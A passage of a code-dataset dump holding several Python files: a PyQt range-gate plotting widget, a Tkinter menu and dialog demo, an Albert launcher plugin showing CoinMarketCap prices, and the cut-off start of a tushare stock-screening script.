horiz\n\n\tdef highlight_all(self): #range(self):\n\t\t'''Highlights range nodes and lines.'''\n\t\tself.show_verticals()\n\t\tself.width_up()\n\t\tself.setZValue(1)\n\n\tdef unhighlight_all(self): #range(self):\n\t\t'''Unhighlights range nodes and lines.'''\n\t\tself.hide_verticals()\n\t\tself.width_down()\n\t\tself.setZValue(-5)\n\t\tself.clear_flags()\n\n\tdef show_verticals(self):\n\t\t'''Shows vertical lines that span from top to bottom of plot. Also shows\n\t\tRangeNode handles.'''\n\t\tfor n in self.gate_nodes: # range nodes\n\t\t\tn.highlight.setVisible(True)\n\n\tdef hide_verticals(self):\n\t\t'''Hides vertical lines.'''\n\t\tfor n in self.gate_nodes: # range nodes\n\t\t\tn.highlight.setVisible(False)\n\n\t#@misc.debug\n\tdef width_up(self):\n\t\t'''Sets all strokes to thicker width value.'''\n\t\tfor n in self.gate_nodes:\n\t\t\tpen = n.pen()\n\t\t\tpen.setWidth(4)\n\t\t\tn.setPen(pen)\n\t\tfor n in self.gate_edges:\n#\t\t\tprint('n iter',n)\n\t\t\tpen = n.pen()\n\t\t\tpen.setWidth(4)\n\t\t\tn.setPen(pen)\n\n\tdef width_down(self):\n\t\t'''Sets all strokes to normal width value.'''\n\t\tfor n in self.gate_nodes:\n\t\t\tpen = n.pen()\n\t\t\tpen.setWidth(2)\n\t\t\tn.setPen(pen)\n\t\tfor n in self.gate_edges:\n\t\t\tpen = n.pen()\n\t\t\tpen.setWidth(2)\n\t\t\tn.setPen(pen)\n\n#\tdef setPos(self,pos):\n#\t\t'''Reimplementation'''\n#\t\tnewpos.setY(0)\n#\t\treturn(super().setPos(pos))\n\t#@misc.debug\n#\tdef itemChange(self,type,value):\n#\t\t'''Reimplementation.'''\n#\t\tif type == qtw.QGraphicsItem.ItemPositionChange:\n##\t\t\tprint('value',value)\n#\t\t\tnewpos = value\n#\t\t\tnewpos.setY(0)\n#\t\t\treturn(super().itemChange(type,newpos))\n#\t\treturn(super().itemChange(type,value))\n#\n#\tdef hoverMoveEvent(self,event):\n#\t\t'''Reimplementation'''\n#\t\tself.highlight_all()\n#\t\treturn(super().hoverMoveEvent(event))\n\n\t#@misc.debug\n\tdef hoverEnterEvent(self,event):\n\t\t'''Reimplementation'''\n\t\tself.highlight_all()\n\t\treturn(super().hoverEnterEvent(event))\n\n\tdef hoverLeaveEvent(self,event):\n\t\t'''Reimplementation'''\n\t\tif not self.modify_flag:\n\t\t\tself.unhighlight_all()\n\t\treturn(super().hoverLeaveEvent(event))\n\n\t#@misc.debug\n#\tdef mousePressEvent(self,event):\n#\t\tself.delta = event.scenePos() - self.scenePos()\n#\t\tprint('delta')\n#\t\tsuper().mousePressEvent(event)\n\n\t#@misc.debug\n#\tdef mouseMoveEvent(self,event):\n#\t\tprint('moving')\n#\t\tsuper().mouseMoveEvent(event)\n\n\t#@misc.debug\n#\tdef mouseReleaseEvent(self,event):\n#\t\tsuper().mouseReleaseEvent(event)\n#\n#\t#@misc.debug\n#\tdef contextMenuEvent(self,event):\n#\t\tsuper().contextMenuEvent(event)\n\n#\t@misc.debug\n\t#@misc.debug\n#\tdef sceneEventFilter(self,watched,event):\n#\t\t'''Reimplementation'''\n##\t\tif event.type() == qtc.QEvent.GraphicsSceneMouseDoubleClick:\n##\t\t\twatched.mouseDoubleClickEvent(event)\n##\t\t\treturn(True)\n##\t\telif event.type() == qtc.QEvent.GraphicsSceneHoverEnter:\n##\t\t\twatched.hoverEnterEvent(event)\n##\t\t\treturn(True)\n##\t\telif event.type() == qtc.QEvent.GraphicsSceneHoverLeave:\n##\t\t\twatched.hoverLeaveEvent(event)\n##\t\t\treturn(True)\n#\t\tif event.type() == qtc.QEvent.GraphicsSceneMouseMove:\n#\t\t\tif isinstance(watched,RangeBar):\n#\t\t\t\twatched.mouseMoveEvent(event)\n#\t\t\telse:\n#\t\t\t\tself.mouseMoveEvent(event)\n#\t\t\tself.move_flag = True\n#\t\t\treturn(True)\n#\t\telif event.type() == qtc.QEvent.GraphicsSceneMouseRelease:\n#\t\t\tif self.move_flag:\n#\t\t\t\tpass\n#\t\t\telse:\n#\t\t\t\tprint('toggling')\n#\t\t\t\tself.toggle_mode()\n#\t\t\tif isinstance(watched,RangeBar):\n#\t\t\t\twatched.mouseReleaseEvent(event)\n#\t\t\telse:\n#\t\t\t\tself.mouseReleaseEvent(event)\n#\t\t\treturn(True)\n#\t\telif event.type() == qtc.QEvent.GraphicsSceneMousePress:\n#\t\t\tif isinstance(watched,RangeBar):\n#\t\t\t\twatched.mousePressEvent(event)\n#\t\t\telse:\n#\t\t\t\tself.mousePressEvent(event)\n#\t\t\treturn(True)\n##\t\telif event.type() == qtc.QEvent.GraphicsSceneContextMenu:\n##\t\t\twatched.contextMenuEvent(event)\n##\t\t\treturn(True)\n#\t\telse:\n#\t\t\treturn(False)\n#\n\nclass RangeNode(qtw.QGraphicsLineItem,NodeFuncs.NodeFuncs):\n\n\tindex = 0\n\n\tdef __init__(self,coords=None,parent=None,first=False):\n\t\t# coord is in plot position already\n\t\tsuper().__init__(parent)\n\t\tself.setFlag(qtw.QGraphicsItem.ItemStacksBehindParent,True)\n\t\tself.setLine(qtc.QLineF(\n\t\t\tqtc.QPointF(0,-5),\n\t\t\tqtc.QPointF(0,5)\n\t\t))\n\n\t\t# sets index of self (for use in gate.gate_nodes)\n\t\tself.index = type(self).index\n\t\ttype(self).index += 1\n\n\t\t# sets other node\n\t\tself.other_node = None\n\n\t\tself.gate = parent\n\t\tself.edge = None\n\t\tself.propagate = False # flag for propagating changes to other node\n\t\tself.delta = qtc.QPointF(0,0)\n\n\t\tself.first = first\n\t\tself.coords = coords # coords is Plot obj position\n\t\tself.display_coord = None # display_coords is actual data value coordinate\n\t\tself.real_coord = None # real_coord is data coord in real terms, i.e.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# in full range of $PnE and $PnR\n # pos of GateNode in *** transformed **** space\n\n\t\t# draws highlight line that spans top to bottom of plot\n\t\tself.highlight = RangeVert(self)\n\n\t\tself.handle = Handle(parent=self)\n\t\t#self.handle.setVisible(False)\n\t\t# sets self stroke\n\t\tpen = self.pen()\n\t\tpen.setWidth(6)\n\t\tself.setPen(pen)\n\n\t\tself.setPos(coords) # depends on self.highlight\n\n\t\tself.setAcceptHoverEvents(True)\n\t\tself.setFlag(qtw.QGraphicsItem.ItemIsMovable,True)\n\t\tself.setFlag(qtw.QGraphicsItem.ItemSendsGeometryChanges,True)\n\t\tself.setFlag(qtw.QGraphicsItem.ItemSendsScenePositionChanges,True)\n\t\t#self.installSceneEventFilter(parent.plot) # parent is Gate\n\t\tself.installSceneEventFilter(parent.plot)\n\n\t#@misc.debug\n#\tdef itemChange(self,type,value):\n#\t\tprint('gate pos',self.gate.pos(),self.gate.scenePos())\n#\t\tprint('node pos',self.pos(),self.scenePos())\n#\t\tif type == qtw.QGraphicsItem.ItemScenePositionHasChanged:\n##\t\t\tprint('self',self.y())\n#\t\t\tother = filter(lambda s:s==self,self.gate.gate_nodes)\n##\t\t\tfor n in other:\n##\t\t\t\tprint('other',n.y())\n##\t\t\tprint('flag',self.propagate)\n#\t\t\tif self.edge is not None and self.propagate:\n#\t\t\t\tself.edge.update_position(self)\n#\t\t\treturn\n#\t\telse:\n#\t\t\treturn(super().itemChange(type,value))\n\n\t#@misc.debug\n\tdef fix_position(self,keep_width=False):\n\t\t'''Reimplementation. Keeps RangeNode within Plot boundingRect and between\n\t\ty range of Pixmap. 'keep_width' arg is for maintaining length of RangeBar \n\t\t(used for moving range gate and keeping in bounds). if 'keep_width',\n\t\treturns result of is_in_bounds.'''\n\t\tgate = self.gate\n\t\tplot = gate.plot\n\t\tplotbb = plot.boundingRect()\n\t\tpixbb = plot.pixmap.boundingRect()\n\t\tselfbb = self.boundingRect()\n\t\tres = self.is_in_bounds(use_full_y=False)\n#\t\tprint('fix_pos res',res)\n\t\tplot_to_gate,ok = plot.itemTransform(gate) # ok is indicator ret value\n\t\tgate_to_plot,ok = gate.itemTransform(plot)\n\n\t\ttemp = gate_to_plot.map(self.pos()) # mapped to plot\n#\t\tprint('temp',temp)\n\t\tx = temp.x()\n\t\ty = temp.y()\n\n\t\tif not res['left']:\n\t\t\tx = plotbb.left() - selfbb.left() # in plot coords\n\t\t\t#self.setX(plotbb.left() - selfbb.left())\n\t\tif not res['right']:\n\t\t\tx = plotbb.right() - selfbb.right()\n\t\tif not res['top']: # top/bottom in real coords, setPos in pixel\n\t\t\ty = pixbb.top() - selfbb.top() # use_full is False, use pixmap bounds\n\t\tif not res['bottom']:\n\t\t\ty = pixbb.bottom() - selfbb.bottom()\n\t\t#return(super().mouseMoveEvent(event))\n\n\t\tp = qtc.QPointF(x,y)\n\t\tp = plot_to_gate.map(p) # mapped to gate (parentItem)\n\t\tif keep_width:\n\t\t\tsuper().setPos(p)\n\t\t\treturn(res)\n\t\telse:\n\t\t\treturn(super().setPos(p))\n\n#\t\tret = super().setPos(position)\n#\t\tif not delay:\n#\t\t\tself.update_display_coord_from_pos()\n#\t\t\tself.update_real_coord()\n#\t\t\tself.update_edges()\n#\t\treturn(ret)\n\n\t#@misc.debug\n\tdef itemChange(self,change,value):\n\t\t'''Reimplementation'''\n\t\tif change == qtw.QGraphicsItem.ItemPositionHasChanged:\n\t\t\tif self.edge is not None:\n\t\t\t\tself.edge.update_position()\n\t\treturn(super().itemChange(change,value))\n\n\t#@misc.debug\n\tdef setPos(self,point,change_other=False,update=False,keep_width=False,\n\t\tpropagate=False):\n\t\t'''Reimplementation. Only set with QPointF.\n\t\t'change_other' arg is for propagating node position to the other node so that\n\t\t\tthey stay at the same y coord.\n\t\t'update' arg is for updating all child instances of MasterGate\n\t\t'keep_width' arg is for maintaining length of RangeBar (used for moving\n\t\t\trange gate and keeping in bounds).'''\n\t\tif point is not None: # if not called from default __init__\n\t\t\tret = super().setPos(point)\n\t\t\tret = self.fix_position(keep_width=keep_width)\n\t\t\t#self.gate.fix_position()\n\t\t\t#self.highlight.fix_position() # not necessary\n\n\t\t\tif self.edge is not None and change_other: # if edge present and prop=T\n\t\t\t\tself.edge.update_position(trigger=self)\n\n\t\t\tself.update_real_coord() # updates real coords\n\t\t\tself.update_display_coord_from_pos() # updates display coords\n\t\t\tif self.gate.master is not None:\n\t\t\t\tself.gate.master.change_position(self.gate,update=update)\n\t\t\t\tself.gate.master.set_mask()\n\t\t\tif self.gate.label is not None:\n\t\t\t\tself.gate.label.update_label(self.gate.plot)\n\t\t\treturn(ret)\n\n\t#@misc.debug\n\tdef mousePressEvent(self,event):\n\t\t'''Reimplementation'''\n\t\tif self.gate.active_node is not None: # if in gate creation mode\n\t\t\tself.gate.begin_drag(event)\n\n\t\telse: # not in gate creation\n\t\t\t# unselects other gates\n\t\t\tself.scene().unselect_all_gates(exclude=[self],event=event)\n\t\t\tself.scene().unselect_all_plots()\n#\t\t\tfor n in self.scene().selectedItems():\n#\t\t\t\tif n == self.gate:\n#\t\t\t\t\tcontinue\n#\t\t\t\telif isinstance(n,BaseGate.Gate):\n#\t\t\t\t\tn.toggle_mode(mode=False)\n#\t\t\t\telse:\n#\t\t\t\t\tn.setSelected(False)\n\n\t\t\tself.delta = event.scenePos() - self.scenePos()\n\t\tself.propagate = True\n\t\treturn(super().mousePressEvent(event))\n#\n#\t#@misc.debug\n#\tdef mouseMoveEvent(self,event):\n#\t\treturn(super().mouseMoveEvent(event))\n\t#@misc.debug\n\tdef mouseMoveEvent(self,event):\n\t\t'''Reimplementation'''\n#\t\tif self.gate.active_node is not None: # if in gate creation mode\n\t\tplotpos = self.gate.plot.mapFromScene(event.scenePos() - self.delta)\n\t\tself.gate.move_flag = True\n\t\tself.setPos(plotpos,change_other=True,propagate=False)\n\n\tdef mouseReleaseEvent(self,event):\n\t\t'''Reimplementation'''\n\t\tif self.gate.active_node is not None: # if in gate creation mode\n\t\t\tself.gate.end_drag()\n\t\tif self.gate.move_flag: # if gate was just moved\n\t\t\tself.gate.master.change_position(self.gate,update=True)\n\t\telse: # if gate/node was just clicked\n\t\t\tself.gate.toggle_mode()\n\t\tself.delta = qtc.QPointF(0,0)\n\n\t\tself.move_flag = False\n\t\tself.propagate = False\n\t\treturn(super().mouseReleaseEvent(event))\n\n\tdef hoverEnterEvent(self,event):\n\t\t'''Reimplementation'''\n\t\tif self.gate.active_node is None:\n\t\t\tself.scene().view.setCursor(qtc.Qt.SizeHorCursor)\n\t\treturn(super().hoverEnterEvent(event))\n\n\tdef hoverLeaveEvent(self,event):\n\t\t'''Reimplementation'''\n\t\tself.scene().view.setCursor(qtc.Qt.ArrowCursor)\n\t\treturn(super().hoverLeaveEvent(event))\n\n\nclass RangeBar(qtw.QGraphicsLineItem):\n\n\t#@misc.debug\n\tdef __init__(self,node1=None,node2=None,parent=None):\n\t\tsuper().__init__(parent)\n\t\tself.gate = parent\n\t\tparent.edge = self\n\t\tself.setLine(qtc.QLineF(node1.pos(),node2.pos()))\n\t\tpen = self.pen()\n\t\tpen.setWidth(4)\n\t\tself.setPen(pen)\n\t\tself.node1 = node1\n\t\tself.node2 = node2\n\t\tself.gate.edge = self\n\t\tself.delta = None\n\t\tself.handle = Handle(parent=self,cap='flat') # requires parentItem\n\t\tself.setZValue(-1)\n\n\t\tself.setAcceptHoverEvents(True)\n\n\t\t# must be movable to have mouseReleaseEvent (wtf)\n\t\tself.setFlag(qtw.QGraphicsItem.ItemIsMovable,True)\n\n\t\tself.setFlag(qtw.QGraphicsItem.ItemStacksBehindParent,True)\n\t\tself.setFlag(qtw.QGraphicsItem.ItemSendsGeometryChanges,True)\n\t\tself.installSceneEventFilter(self.gate.plot)\n\n#\t#@misc.debug\n#\tdef itemChange(self,type,value):\n#\t\treturn(super().itemChange(type,value))\n\n\t#@misc.debug\n\tdef update_position(self,trigger=None):\n\t\t'''Updates line based on position of node1 and node2 and trigger node.\n\t\tAlso sets position of node not specified by 'trigger'.'''\n\t\tif trigger is not None:\n\t\t\tplotpos = trigger.gate.plot.mapFromScene(trigger.scenePos())\n\t\t\ty = plotpos.y()\n\t\t\tif trigger == self.node1:\n\t\t\t\tx = self.node2.x()\n\t\t\t\tself.node2.setPos(qtc.QPointF(x,y)) #,propagate=False)\n\t#\t\t\tself.node2.itemChange(\n\t#\t\t\t\tqtw.QGraphicsItem.ItemPositionChange,\n\t#\t\t\t\tqtc.QPointF(x,y)\n\t#\t\t\t)\n\t\t\telif trigger == self.node2:\n\t\t\t\tx = self.node1.x()\n\t\t\t\tself.node1.setPos(qtc.QPointF(x,y)) #,propagate=False)\n\t#\t\t\tself.node1.itemChange(\n\t#\t\t\t\tqtw.QGraphicsItem.ItemPositionChange,\n\t#\t\t\t\tqtc.QPointF(x,y)\n\t#\t\t\t)\n\t\tself.update_line()\n\t\tif self.gate.label is not None:\n\t\t\tself.gate.label.update_position()\n#\t\t\tself.update_label_position()\n\n\tdef update_line(self):\n\t\t'''Updates line position based on node1 ande node2.'''\n\t\tp1 = self.node1.scenePos()\n\t\tp2 = self.node2.scenePos()\n\t\tplot = self.gate.plot\n\t\t#print('gate pos',self.gate.pos(),self.gate.scenePos())\n\t\tm1 = plot.mapFromScene(p1)\n\t\tm2 = plot.mapFromScene(p2)\n\t\tline = qtc.QLineF(m1,m2)\n\t\tself.setLine(line)\n\t\tpoints = [m1,m2]\n\t\tpoints.sort(key=lambda s:s.x()) # sort by x value\n\t\tm1,m2 = points\n\t\tnudge = qtc.QPointF(self.handle.pen().width() / 2,0)\n\t\tline = qtc.QLineF(m1 + nudge, m2 - nudge)\n\t\tself.handle.setLine(line)\n\n\t#@misc.debug\n\tdef mouseMoveEvent(self,event):\n#\t\tprint('children',self.childItems())\n#\t\tprint('self scene pos, pos',self.scenePos(),self.pos())\n\t\tplotpos1 = self.gate.plot.mapFromScene(event.scenePos() - self.node1.delta)\n\t\tplotpos2 = self.gate.plot.mapFromScene(event.scenePos() - self.node2.delta)\n\t\t#self.setPos(plotpos)\n#\t\tself.node1.setPos(plotpos1)\n#\t\tself.node2.setPos(plotpos2,propagate=True)\n\t\tself.gate.move_gate(plotpos1,plotpos2)\n\t\tself.gate.move_flag = True\n\t\tif self.gate.label is not None:\n\t\t\tself.gate.label.fix_position()\n\t\t#return(super().mouseMoveEvent(event))\n\n\t#@misc.debug\n\tdef mousePressEvent(self,event):\n\t\t'''Reimplementation'''\n\n\t\t# unselects other gates\n\t\tif self.gate.active_node is None: # not in gate creation\n\t\t\tself.scene().unselect_all_gates(exclude=[self],event=event)\n\t\t\tself.scene().unselect_all_plots()\n#\t\t\tfor n in self.scene().selectedItems():\n#\t\t\t\tif n == self.gate:\n#\t\t\t\t\tcontinue\n#\t\t\t\telif isinstance(n,BaseGate.Gate):\n#\t\t\t\t\tn.toggle_mode(mode=False)\n#\t\t\t\telse:\n#\t\t\t\t\tn.setSelected(False)\n\n\t\tself.node1.delta = event.scenePos() - self.node1.scenePos()\n\t\tself.node2.delta = event.scenePos() - self.node2.scenePos()\n\t\treturn(super().mousePressEvent(event))\n\n#\t@misc.debug\n\tdef mouseReleaseEvent(self,event):\n\t\t'''Reimplementation'''\n\t\tself.node1.delta = None\n\t\tself.node2.delta = None\n\t\tif self.gate.move_flag: # if gate was just moved\n\t\t\tself.gate.master.change_position(self.gate,update=True)\n\t\telse: # if gate was just clicked\n\t\t\tself.gate.toggle_mode()\n\t\tself.gate.move_flag = False\n\t\treturn(super().mouseReleaseEvent(event))\n\n#\tdef hoverEnterEvent(self,event):\n#\t\t'''Reimplementation'''\n#\t\tself.scene().view.setCursor(qtc.Qt.SizeAllCursor)\n#\t\treturn(super().hoverEnterEvent(event))\n\n#\tdef hoverLeaveEvent(self,event):\n#\t\t'''Reimplementation'''\n#\t\tself.scene().view.setCursor(qtc.Qt.SizeAllCursor)\n#\t\treturn(super().hoverLeaveEvent(event))\n\n\tdef hoverEnterEvent(self,event):\n\t\t'''Reimplementation'''\n\t\tif self.gate.active_node is None:\n\t\t\tself.scene().view.setCursor(qtc.Qt.SizeAllCursor)\n\t\treturn(super().hoverEnterEvent(event))\n\n\tdef hoverLeaveEvent(self,event):\n\t\t'''Reimplementation'''\n\t\tself.scene().view.setCursor(qtc.Qt.ArrowCursor)\n\t\treturn(super().hoverLeaveEvent(event))\n\n\nclass RangeVert(qtw.QGraphicsLineItem):\n\n\tdef __init__(self,parent=None):\n\t\t# must call with 'parent' arg\n\t\tsuper().__init__()\n\t\tpen = self.pen()\n\t\tpen.setWidth(2)\n\t\tpen.setColor(qtg.QColor.fromRgba(0x55000000))\n\t\tself.setPen(pen)\n\n\t\tif parent is not None:\n\t\t\tself.node = parent\n\t\t\tself.setLine(qtc.QLineF(\n\t\t\t\tqtc.QPointF(0,0+self.pen().width()/2),\n\t\t\t\tqtc.QPointF(0,parent.gate.plot.dim-self.pen().width()/2)\n\t\t\t))\n\n\t\tself.setFlag(qtw.QGraphicsItem.ItemStacksBehindParent,True)\n\t\tself.setFlag(qtw.QGraphicsItem.ItemSendsScenePositionChanges,True)\n\t\tself.setParentItem(parent)\n\n#\tdef fix_position(self):\n#\t\t'''Changes position (relative to parent RangeNode) to ensure that its y\n#\t\tvalues are always within plot area (makes sure it does not move out of\n#\t\tplot).'''\n#\t\tif self.node is not None:\n#\t\t\ty = self.node.y()\n#\t\t\tself.setPos(0,-y)\n\n\tdef itemChange(self,type,event):\n\t\tif type == qtw.QGraphicsItem.ItemScenePositionHasChanged:\n#\t\t\tprint('scene pos changed')\n\t\t\ttemp = self.node.mapFromItem(self.node.gate.plot,qtc.QPointF(0,0))\n\t\t\tself.setY(temp.y())\n\t\treturn(super().itemChange(type,event))\n","sub_path":"RangeGate.py","file_name":"RangeGate.py","file_ext":"py","file_size_in_byte":24275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"11613783","text":"# -*- coding: cp1251 -*-\nfrom Tkinter import*\nfrom tkFileDialog import*\nfrom tkMessageBox import*\nimport ttk\ndef go():\n x,y=1,1\n c.move(krug,x,y)\n c.after(30,go) #повторный вызов метода через 30 милесикунд\n\n# ---------- tkMessageBox for 2.69 (tkinter.messagebox for 3.0) --------------\n\n#askquestion('head','body') -> yes or no\n#askyesno('head','body') -> True or False\nshowerror('head','body')#-> yes\n#showinfo('head','body')#-> yes\n#askokcancel('head','body')->True or False\n#askyesno('head','body')->True or False\n#askretrycancel('head','body')->True or False\n\n# ---------- tkFileDialog for 2.69 (tkinter.filedialog for 3.0) --------------\n\n#asksaveasfilename() -> (path) \"u'C:/Users/s.tischenko.SURC/Desktop/python/Menu/sdgdg.txt' \"\n#askopenfilename()-> (path) \" u'C:/Users/s.tischenko.SURC/Desktop/python/Menu/menu.py' \"\n#(filetypes=[(\"Text files\",\"*.txt\"),(\"Exe files\",\"*.exe\")]) -show only with inserdet extesions\n#askdirectory() -> (path) \" u'C:/Users/s.tischenko.SURC/Desktop/python/Menu' \"\n#askopenfile() -> \" \"\n#(initialdir=initial_dir, filetypes=mask, mode='r')\n#askopenfile().readlines() - object, not path!!!\n#askopenfilenames() -> (path) \" u'C://1.cmd C://CAUtil.exe C://icvupdo.log C://NCAsperaX.ocx' \"\n#asksaveasfile('a+') -> object \" \"\n\n\n\nroot=Tk()\n#root.resizable(False,False)\n\ndef new_win():\n if askokcancel('New Window','Do you realy want open\\n Data in New Window?'):\n win=Toplevel(root)\n\ndef close_root():\n if askyesno(\"Exit\", \"Do you want to quit?\"):\n root.destroy()\n \ndef open_w():\n path=askopenfilename(filetypes=[(\"Text files\",\"*.txt\")])\n\ndef save_as():\n if askretrycancel('try again?','12345'):\n sa=asksaveasfilename()\n\ndef file_open(self):\n \"\"\"open a file to read\"\"\"\n # optional initial directory (default is current directory)\n initial_dir = \"C:\\Temp\"\n # the filetype mask (default is all files)\n mask = \\\n [(\"Text and Python files\",\"*.txt *.py *.pyw\"), \n (\"HTML files\",\"*.htm\"), \n (\"All files\",\"*.*\")] \n fin = askopenfile(initialdir=initial_dir, filetypes=mask, mode='r')\n text = fin.read()\n if text != None:\n self.text.delete(0.0, END)\n self.text.insert(END,text)\n\ndef file_save(self):\n \"\"\"get a filename and save the text in the editor widget\"\"\"\n # default extension is optional, here will add .txt if missing\n fout = asksaveasfile(mode='w', defaultextension=\".txt\")\n text2save = str(self.text.get(0.0,END))\n fout.write(text2save)\n fout.close()\n\n\n\n\nm=Menu(root)\nroot.config(menu=m)\n\nfm=Menu(m)\nsafm=Menu(fm)\n\nhm=Menu(m)\n\nm.add_cascade(label='File',menu=fm)\nm.add_cascade(label='Help',menu=hm)\n\n\n\nfm.add_command(label='Open',command=open_w)\nfm.add_command(label='New',command=new_win)\nfm.add_command(label='Save',command=save_as)\nfm.add_cascade(label=\"Save as..\",menu=safm)\nfm.add_command(label='Exit',command=close_root)\n\nsafm.add_command(label='as .html')\nsafm.add_command(label='as .xls')\n\n\nhm.add_command(label='About')\nhm.add_command(label='Help')\nhm.add_command(label='How to do?')\n\nw = root.winfo_screenwidth()\nh = root.winfo_screenheight()\nprint ('screen:',w,h)\n\nimg=PhotoImage(file = 'avatar.gif')\nlabel = Label(image=img)\nlabel.pack()\nButton(root,image=img,text='Button').pack()\nx = ttk.Separator(root).pack(fill='x',expand=1)\nx = ttk.Sizegrip(root).pack(side=RIGHT)\n\nroot.mainloop()\n\n","sub_path":"py2exe/old_ones/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":3662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"24809052","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Show and access crypto currencies on CoinmMarketCap.com.\n\nThe values of \"Change\" are the hourly, daily and weekly changes of the price in percent. \"Cap\" is \\\nthe market capitalisation in USD. Volume is the volume of the last 24 hours in USD.\n\nSynopsis: [filter]\"\"\"\n\nfrom albertv0 import *\nfrom threading import Thread, Event\nfrom locale import format as lformat\nfrom urllib import request\nfrom urllib.parse import urlencode\nimport re\nimport os\nimport json\n\n__iid__ = \"PythonInterface/v0.2\"\n__prettyname__ = \"CoinMarketCap\"\n__version__ = \"1.4\"\n__trigger__ = \"cmc \"\n__author__ = \"Manuel Schneider\"\n__dependencies__ = []\n\niconPath = os.path.dirname(__file__)+\"/emblem-money.svg\"\nthread = None\ncoins = None\n\n\nclass Coin():\n def __init__(self, identifier, name, symbol, rank, price,\n cap, vol, change_hour, change_day, change_week):\n self.identifier = identifier\n self.name = name\n self.symbol = symbol\n self.rank = rank\n self.price = price\n self.cap = cap\n self.vol = vol\n self.change_hour = change_hour\n self.change_day = change_day\n self.change_week = change_week\n\n\nclass UpdateThread(Thread):\n def __init__(self):\n super().__init__()\n self._stopevent = Event()\n\n def run(self):\n\n while True:\n url = \"%s?%s\" % (\"https://api.coinmarketcap.com/v1/ticker/\", urlencode({'limit': 0}))\n req = request.Request(url)\n with request.urlopen(req) as response:\n if self._stopevent.is_set():\n return\n\n def colorize_float(value: str):\n if value is None:\n return value\n elif float(value) < 0:\n return \"%s\" % value\n elif float(value) > 0:\n return \"%s\" % value\n else:\n return value\n\n # Get coin data\n data = json.loads(response.read().decode('utf-8'))\n newCoins = []\n for coindata in data:\n cap = coindata['market_cap_usd']\n cap = lformat(\"%d\", float(cap), True) if cap else \"?\"\n vol = coindata['24h_volume_usd']\n vol = lformat(\"%d\", float(vol), True) if vol else \"?\"\n price = coindata['price_usd']\n price_precision = \"%.2f\" if float(price) > 1 else \"%.6f\"\n price = lformat(price_precision, float(price), True) if price else \"?\"\n if \",\" in price:\n price = price.rstrip(\"0\").rstrip(\",\")\n newCoins.append(Coin(identifier=coindata['id'],\n name=coindata['name'],\n symbol=coindata['symbol'],\n rank=coindata['rank'],\n price=price,\n cap=cap,\n vol=vol,\n change_hour=colorize_float(coindata['percent_change_1h']),\n change_day=colorize_float(coindata['percent_change_24h']),\n change_week=colorize_float(coindata['percent_change_7d'])))\n global coins\n coins = newCoins\n\n self._stopevent.wait(900) # Sleep 15 min, wakeup on stop event\n if self._stopevent.is_set():\n return\n\n def stop(self):\n self._stop_event.set()\n\n\ndef initialize():\n thread = UpdateThread()\n thread.start()\n\n\ndef finalize():\n if thread is not None:\n thread.stop()\n thread.join()\n\n\ndef handleQuery(query):\n if not query.isTriggered or coins is None:\n return\n\n stripped = query.string.strip().lower()\n items = []\n if stripped:\n pattern = re.compile(stripped, re.IGNORECASE)\n for coin in coins:\n if coin.name.lower().startswith(stripped) or coin.symbol.lower().startswith(stripped):\n url = \"https://coinmarketcap.com/currencies/%s/\" % coin.identifier\n items.append(Item(\n id=__prettyname__,\n icon=iconPath,\n text=\"#%s %s (%s) %s$\" % (coin.rank, pattern.sub(lambda m: \"%s\" % m.group(0), coin.name),\n pattern.sub(lambda m: \"%s\" % m.group(0), coin.symbol), coin.price),\n subtext=\"Change: %s/%s/%s, Cap: %s, Volume: %s\" % (coin.change_hour, coin.change_day, coin.change_week, coin.cap, coin.vol),\n completion=coin.price,\n actions=[\n UrlAction(\"Show on CoinMarketCap website\", url),\n ClipAction('Copy URL to clipboard', url)\n ]\n ))\n else:\n for coin in coins:\n url = \"https://coinmarketcap.com/currencies/%s/\" % coin.identifier\n items.append(Item(\n id=__prettyname__,\n icon=iconPath,\n text=\"#%s %s (%s) %s$\" % (coin.rank, coin.name, coin.symbol, coin.price),\n subtext=\"Change: %s/%s/%s, Cap: %s, Volume: %s\" % (coin.change_hour, coin.change_day, coin.change_week, coin.cap, coin.vol),\n completion=coin.price,\n actions=[\n UrlAction(\"Show on CoinMarketCap website\", url),\n ClipAction('Copy URL to clipboard', url)\n ]\n ))\n return items\n","sub_path":"coinmarketcap/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"91502750","text":"# -*- coding: utf-8 -*-\nimport time\n\nimport tushare as ts\nfrom pandas import DataFrame\nimport numpy as np\n\nimport midas.legacy.api_pro as api\n\n# COL_AVERAGE_TURNOVER = 'average_turnover_rate'\nCOL_CONTINUOUSLY_UP = 'continuously_up'\nCOL_AVERAGE_P_CHANGE = 'average_p_change'\nCOL_ACCUMULATE_P_CHANGE = 'accumulate_p_change'\nCOL_PRE_ACCUMULATE_P_CHANGE = 'pre_accumulate_p_change'\nCOL_LAST_MA20_GAP = 'last_ma20_gap'\n\nsampling_count = 100\n\n\ndef main():\n pro = ts.pro_api()\n\n trade_dates = pro.daily(ts_code='000001.SZ').trade_date\n LAST_MARKET_DATE = trade_dates[0]\n\n stock_basic = pro.stock_basic(list_status='L', fields='ts_code,symbol,name,industry,fullname')\n\n data_frame = DataFrame()\n for key in ['ts_code', 'name', 'industry']:\n data_frame[key] = stock_basic[key]\n\n for key in [COL_CONTINUOUSLY_UP, COL_AVERAGE_P_CHANGE, COL_ACCUMULATE_P_CHANGE,\n COL_PRE_ACCUMULATE_P_CHANGE, COL_LAST_MA20_GAP, 'circ_mv']:\n data_frame[key] = np.nan\n\n for i, ts_code in enumerate(data_frame.ts_code):\n # if ts_code.startswith('300'):\n # continue\n try:\n daily_basic = pro.daily_basic(ts_code=ts_code, #trade_date=LAST_MARKET_DATE\n start_date=trade_dates[sampling_count], end_date=LAST_MARKET_DATE)\n for key in ['circ_mv', ]:\n data_frame.loc[i, key] = daily_basic.loc[0, key]\n\n daily = pro.daily(ts_code=ts_code, start_date=trade_dates[sampling_count], end_date=LAST_MARKET_DATE)\n continuous_up = api.daily_continuously_low_up_count(daily=daily)\n data_frame.loc[i, COL_CONTINUOUSLY_UP] = continuous_up\n # data_frame.loc[i, COL_AVERAGE_TURNOVER] = api.daily_basic_average_turnover_rate(daily_basic=daily_basic,\n # 